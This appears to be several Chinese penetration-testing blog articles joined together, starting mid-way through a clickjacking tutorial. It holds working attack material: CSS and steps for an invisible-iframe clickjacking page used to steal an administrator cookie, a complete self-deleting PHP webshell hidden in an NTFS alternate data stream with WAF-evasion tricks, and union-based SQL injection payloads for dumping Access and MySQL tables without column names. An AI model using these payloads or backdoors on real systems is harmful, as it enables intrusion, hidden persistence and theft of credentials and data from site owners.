#frame { border: 0px; /*边框属性为0*/ height: 100%; /*框架高度100%*/ width: 100%; /*框架宽度100%*/ /*控制不透明度的属性，兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性，兼容各大浏览器*/ }

3.获取iframe框架引用的原页面的按钮位置和大小:

大小直接通过审查元素可以看得到:

现在要获取的就是按钮元素到浏览器顶部的距离，这里通过id.offsetTop有些时候是无法直接获取的:

>>span_verify.offsetTop ←16

获取到的是16~很醉，所以使用如下的方法直接获取:

document.getElementById('span_verify').getBoundingClientRect().top

4.建立按钮:

<input type="button" class="button" value="Click" />

5.根据第三步骤获取到的建立按钮样式:

.button { position: fixed; width: 100%; height: 42px; margin: 0 auto; left: 0; right: 0; display: block; top: 278px; }

6.散播，用户中招:

一次点击劫持攻击案例

说了这么多，在前几天的测试中我是如何拿到管理员权限呢？挖掘到一处self-xss，这里先说明下self-xss可以理解为只能攻击myself~

发现流程:

发现输入框->秉着见框就X的原理插入XSS Payload->弹框->发现成功

然而获取到的URL链接是/?keyword=<script>alert(1)</script>，但是不是xss，keyword的值显示在输入框内，需要你再点击搜索标题按钮才可以触发漏洞。

形成的攻击思路->iframe嵌套漏洞URL链接->Click Jacking攻击页面构造->通过留言给管理员引诱触发

攻击页面构造流程其实耐心读到这里的朋友已经是非常明确步骤了:

建立iframe框架->建立iframe框架CSS样式->获取按钮位置大小->建立按钮->建立按钮CSS样式->留言板留言外网攻击链接->获取管理员Cookie->Cookie伪造进入后台

结尾

一次很有意思的实践，让自己满满的成就感，同时也完成了项目任务~

What is NTFS文件流

NTFS文件系统实现了多文件流特性，NTFS环境一个文件默认使用的是未命名的文件流，同时可创建其他命名的文件流，windows资源管理器默认不显示出文件的命名文件流，这些命名的文件流在功能上和默认使用的未命名文件流一致，甚至可以用来启动程序。

NTFS文件流生成步骤

我们在任意一个NTFS分区下打开CMD命令提示符，输入echo mstlab>>mst.txt:test.txt，则在当前目录下会生成一个名为mst.txt的文件，但文件的大小为0字节，打开后也无任何内容。

只有输入命令：notepad mst.txt:test.txt 才能看见写入的mstlab

在上边的命令中，mst.txt可以不存在，也可以是某个已存的文件，文件格式无所谓，无论是.txt还是.jpg|.exe|.asp都行b.txt也可以任意指定文件名以及后缀名。（可以将任意文本信息隐藏于任意文件中，只要不泄露冒号后的虚拟文件名(即test.txt)，别人是根本不会查看到隐藏信息的）

包含隐藏信息的文件仍然可以继续隐藏其它的内容，对比上例，我们仍然可以使用命令echo mstlab1>>mst.txt:test1.txt给mst.txt建立新的隐藏信息的流文件，使用命令notepad mst.txt:test1.txt打开后会发现mstlab1这段信息，而mstlab仍然存在于mst.txt:test.txt中丝毫不受影响

所以这里的宿主mst.txt成功的被test.txt和test1.txt所寄生，而在这里的微妙关系显而易见，宿主消失寄生消失。

NTFS特性和原理分析 特性1

实验工具下载：https://github.com/wangyongxina/filestreams/blob/master/Release/Release.7z

工具使用说明：

create 创建文件流

enum 列举文件流

delete 删除文件流

write 写入内容到文件流

append 增加文件到文件流

launch 执行文件流的内容

dump 读取文件流的内容

我们让上一步骤归零，重新来看看mst.txt：

而这里的default文件流就验证了最开头的一句话，默认使用的是为命名的文件流。

实验开始，首先我们使用FileStreams.exe创建一个文件流vkey：

FileStreams.exe create mst.txt vkey

然后写入内容到文件流vkey：

FileStreams.exe write mst.txt vkey content

再来查看文件流vkey的内容：

FileStreams.exe dump mst.txt vkey 14

这里的14从何而来，相信聪明的你们能明白。（文件流vkey大小 14）

最开始也说了，文件流是可以用来启动程序的，我们来试试：

• 加入文件到文件流vkey：

  FileStreams.exe append mst.txt vkey C:\Users\gh0stkey\Desktop\test\FileStreams.exe

• 查看文件流vkey的内容，这里就看前100个字节的内容：

  FileStreams.exe dump mst.txt vkey 100

• 执行文件流vkey：

  顺利的执行了 C:\Users\gh0stkey\Desktop\test\FileStreams.exe 这个文件。

特性2

自动创建空文件：

自动创建宿主，然后寄生。

在没有原文件的情况下创建文件流，会自动创建一个空文件。

原理分析：

好，现在我们以及初步了解了文件流的特性。再来看看NTFS文件流实现原理：

如文件大小，文件创建时间，文件修改时间，文件名，文件内容等被组织成属性来存放，NTFS定义了一序列的文件属性：

详细说明可以搜索NTFS3G，这些属性统一组织在NTFS的MFT（Master File Table）上，每个MFT大小1024个字节，MFT的$DATA属性即是前面提到的文件流，通常来说包含多个不同名字的$DATA属性即说明该文件存在多个文件流，下图是winhex打开1.txt定位到1.txt的MFT，我们实际看一下NTFS是如何组织的：

Pentesting With NTFS Webshell后门隐藏

写一个PHP的Webshell，首先网站的默认首页是index.php，所以使用了第一段代码：

exec('echo "<?php @eval($_POST[key]);?>">>index.php:key.php');

直接写一个一句话内容到key.php这个文件流中。 其次，文件流是不可能直接执行的，但是PHP可以使用包含函数：

$key = <<<key echo "<?php include 'index.php:key.php';?>">>a.php key; exec($key);

最后，为了不被发现要删除本身文件：

$url = $_SERVER['PHP_SELF']; $filename= substr($url,strrpos($url,'/')+1); @unlink($filename);

最终代码：

<?php exec('echo "<?php @eval($_POST[key]);?>">>index.php:key.php'); $key = <<<key echo "<?php include 'index.php:key.php';?>">>a.php key; exec($key); $url = $_SERVER['PHP_SELF']; $filename= substr($url,strrpos($url,'/')+1); @unlink($filename); ?>

软件后门隐藏

使用特性1写一段代码后台自动运行这个文件流即可。

ByPass WAF 文件上传

在文件上传的时候可以直接ByPass Waf规则，但是较为鸡肋需要搭配文件包含漏洞：

Bypas 查杀

利用下面的默认流替换特性上传文件名为1.php:的文件，绕过后缀名限制即可。

当然你也可以做一个持续性webshell后门，然后使用include包含起来即可利用：

默认流替换

默认流也就是宿主自身的，这里完全可以吞噬宿主，成为宿主。

这个方法算是打破常规的认识了，很有意思。

如图，我们直接执行echo xxxx>>1.txt:，可替换默认流:

当然如果宿主不存在，将会创建宿主并且吞噬宿主，从而成为宿主。

NTFS局限性

这个NTFS数据流文件，也叫Alternate data streams，简称ADS，是NTFS文件系统的一个特性之一，允许单独的数据流文件存在，同时也允许一个文件附着多个数据流，即除了主文件流之外还允许许多非主文件流寄生在主文件流之中，它使用资源派生的方式来维持与文件相关信息，并且这些寄生的数据流文件我们使用资源管理器是看不到的。

2、为什么NTFS有数据流这个特性？ 原意是为了和Macintosh的HFS文件系统兼容而设计的，使用这种技术可以在一个文件资源里写入相关数据(并不是写入文件中)，而且写进去的数据可以使用很简单的方法把它提取出来作为一个独立文件读取，甚至执行。

3、为什么资源管理器里面看不到文件所带的数据流文件呢？ 我们之所以无法在系统中看到NTFS数据流文件，是因为Windows中的很多工具对数据流文件的支持并不是很好，就像“资源管理器”，我们无法在“资源管理器”中看到有关数据流文件的变化。

不过这个原因很奇怪，同样是MS自己做的东西，”资源管理器都支持不好，还有啥工具能支持好呢？” ，后来再想，也可能是这样一个原因：在当时写有关NTFS文件系统的数据流存储的时候很多WINDOWS工具没有相应的更新，同时呢NTFS流的显示与普通的文件不一样，需要使用其他的枚举方式来完成，再有NTFS对广大普通用户桌面用户来说没有必要去看到，更多的是被专业软件所使用，即使显示出来也没意义。

OK，进入正题，那么我们今天来分析下NTFS文件流这个寄生虫的一些“缺点”

1. 宿主需求，寄生虫需要宿主才可以繁衍。

1. 共存状态。宿主死亡，寄生虫随之死亡。

局限点突破 宿主需求 测试1

一开始感觉无后缀名的会被windows自动隐藏起来，所以输入命令：echo mstsec>>hi:ourlife.txt

然而是自己想多了。。。

测试2

后来想了下，Windows资源管理器是可以隐藏文件的，而默认的服务器隐藏文件是看不见的，也就是说，宿主是可以隐藏的

命令：attrib +s +h hi 解释：attrib命令的意思，+s是为文件添加系统文件属性，+h是添加隐藏属性的意思。

此方法可行，在一定的程度上保护了咱们的寄生虫。

但是我这个人吧，有一个毛病，强迫症，就感觉不舒服，于是就开始了更隐蔽的测试。

测试3

我重新理了一下思路，既然是无宿主，那么就顺着这个路线开始慢慢的推进，那就试试无宿主自体繁衍：

正常宿主寄生命令：echo gh0stkey>>www:hiourlife.txt www是宿主文件，无宿主就删掉www呗~ 修改后的命令：echo gh0stkey>>:hiourlife.txt

结果：无宿主寄生，完全是可以的。测试3成功

其实这个命令就是将寄生虫寄生到文件夹上，转换一下命令就成了：

echo gh0stkey>>/:hiourlife.txt

那么运用在实际测试中，只要目录不变动，就不会被（安全狗之类的WAF）发现

END

原文件=宿主，文件流=寄生虫。各位朋友根据根据这篇文章的基础继续深入研究，把文件流应用于各种操作之中，造出”猥琐”流。

介绍：

在Access数据库类型注入的时候，我们获取不到列名(前提是有表名)，一般会选择使用偏移注入，但是这种注入方式往往借助的是个人的人品，且步骤繁琐。本文中我们研究了一种新的注入技术让“偏移注入不在需要人品”。在这里定义这种注入技术为：“移位溢注技术”。 它适用于ACCESS和MYSQL（任何版本）

正文：

我们先来看看普通的偏移注入步骤：

1.判断注入点 2.order by 判断长度 3.判断表名 4.联合查询 5.获取表中列数：**union select 1,2,3,4,..,\* from TABLE** 6.开始偏移注入：**TABLE as a inner join TABLE as b ona.id=b.id**

由于步骤6的方法过于需要人品值，且语句繁琐，因此在这里，我们研究新的注入技术：

首先来看看步骤6语句的整体意思：

步骤6的语句，表示给TALBE取2个别名，然后分别用别名取查询TALBE的内容（表a和表b）；而on a.id = b.id 这样的条件是为了满足语法需求，实际并没有作用，因为相同内容的表，相同字段内容一定相同。

这时，我们再回过头来看步骤5：

由于联合查询中select后面添加数字的目的是为了让联合查询返回接结果和网站正常查询返回的结果的列数一致（不一致数据库会报错，页面无法显示），且*表示通配符，可以表示整个表格所有列；因此这里通过数字来占位，并使用*来替代TABLE中的所有列，使得联合查询可以完成，并推算出*的值。

这时候我们继续研究偏移注入的整体公式方法，发现即使使用多级偏移注入也需要一定的概率(人品值)才可以得到想要的结果，所以我们就尝试研究新的方法能不能替换这种不固定概率的方法。

现在我们重新整理一下SQL语句，从联合查询开始：

1.原union语句：union select 1,2,3,..,p..,n from TABLE

（p=页面爆出的数字，可能有多个p1,p2..；n=原网站查询的总列数；TALBE=我们获得的表名；下面开始就使用上述字母的定义）

2.新语句：

union select 1,2,3,..,p-1,TABLE.*,p+k,..,nfrom TABLE where 字段名 = 字段内容

–在p的位置爆出TALBE表中第一个字段的内容（其他位置还可能爆出更多内容）

（这里如果存在已知字段名可以使用，没有就不用，一般id这个字段时存在的，可以使用id = 1来显示第一行）

union select1,2,3,..,p-2,TABLE.*,p+k-1,..,n from TABLE where 字段名 = 字段内容

–在p的位置爆出TALBE表中第二个字段的内容（其他位置还可能爆出更多内容）

union select 1,2,3,..,p-3,TABLE.*,p+k-2,..,nfrom TABLE where 字段名 = 字段内容

–在p的位置爆出TALBE表中第三个字段的内容（其他位置还可能爆出更多内容）

注：这里一定是TALBE.而不是

3.1 以此类推可以爆出TALBE的每一列内容。

3.2 如果p<k则没法爆出p+1列至k列的内容，如果n-p<k则无法爆出第1列至k-(n-p)列。

原理：

1.由原语句：union select 1,2,3,..,p..,n-k,* from TABLE 可以得出该联合查询的目的是构造和原网站相同列数的查询结构，使得页面上可以显示对应的数字；这条语句相当于是做了两次查询并将它们的结果合并，第一次做了select 1,2,3,..,n-k from TALBE ，第二次做了select * from TALBE ，然后将它们的结果合并。

这可以参考mysql的语句：select 1,2,3,4,5,admin.* from admin;

2.只要满足原理1的要求，保障联合查询的结果和原网站查询的结果列数一致即可；因此可以将TALBE.*向前移动至页面显示的数字处来爆出TALBE列中的内容。

这可以参考mysql的语句：

select 1,2,3,4,5,6,7,8,9,10 from newswhere id =1 union select 1,2,3,4,5,6,7,admin.* from admin; select 1,2,3,4,5,6,7,8,9,10 from newswhere id =1 union select 1,2,3,admin.*,7,8,9,10 from admin;

注：假设数字4、5在页面显示。

由下图可知，其实数据已近查询出来，但是页面没有显示，这个是通过平移查询结果到页面显示的数字上去，即可爆出敏感字段。

例子：

步骤1：判断注入点是否存在

步骤2：

步骤3：获得表名(必备条件) and exists(select * from admin)

步骤4：获取不了列名（当尝试多个常用字段名以后，最终还是发现无法获得字段名）

步骤5：使用联合查询(union select)

步骤6：使用新注入技术方法

（1）获取admin表的列数：

UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,*from admin #--返回错误页面 UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,*from admin #--返回错误页面 UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,*from admin #--返回错误页面 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,*from admin #--返回错误页面 ..... UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,*from admin #--返回步骤5页面，因此admin表的列数为6

（2）由于网页中包含连续数字，表示可以显示连续的查询结果，构造SQL语句查询前四列第一行。

UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35from admin

UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35from admin where id = 3

总结

在这里我们命名这种新注入技术为”移位溢注”。由此如果MYSQL小于5.0的情况下所具备的条件和ACCESS一样，也可以使用此方法注入，如果是MYSQL大于5.0的版本，使用此方法可以省去获得列名的步骤。

文章研究：gh0stkey & Seagull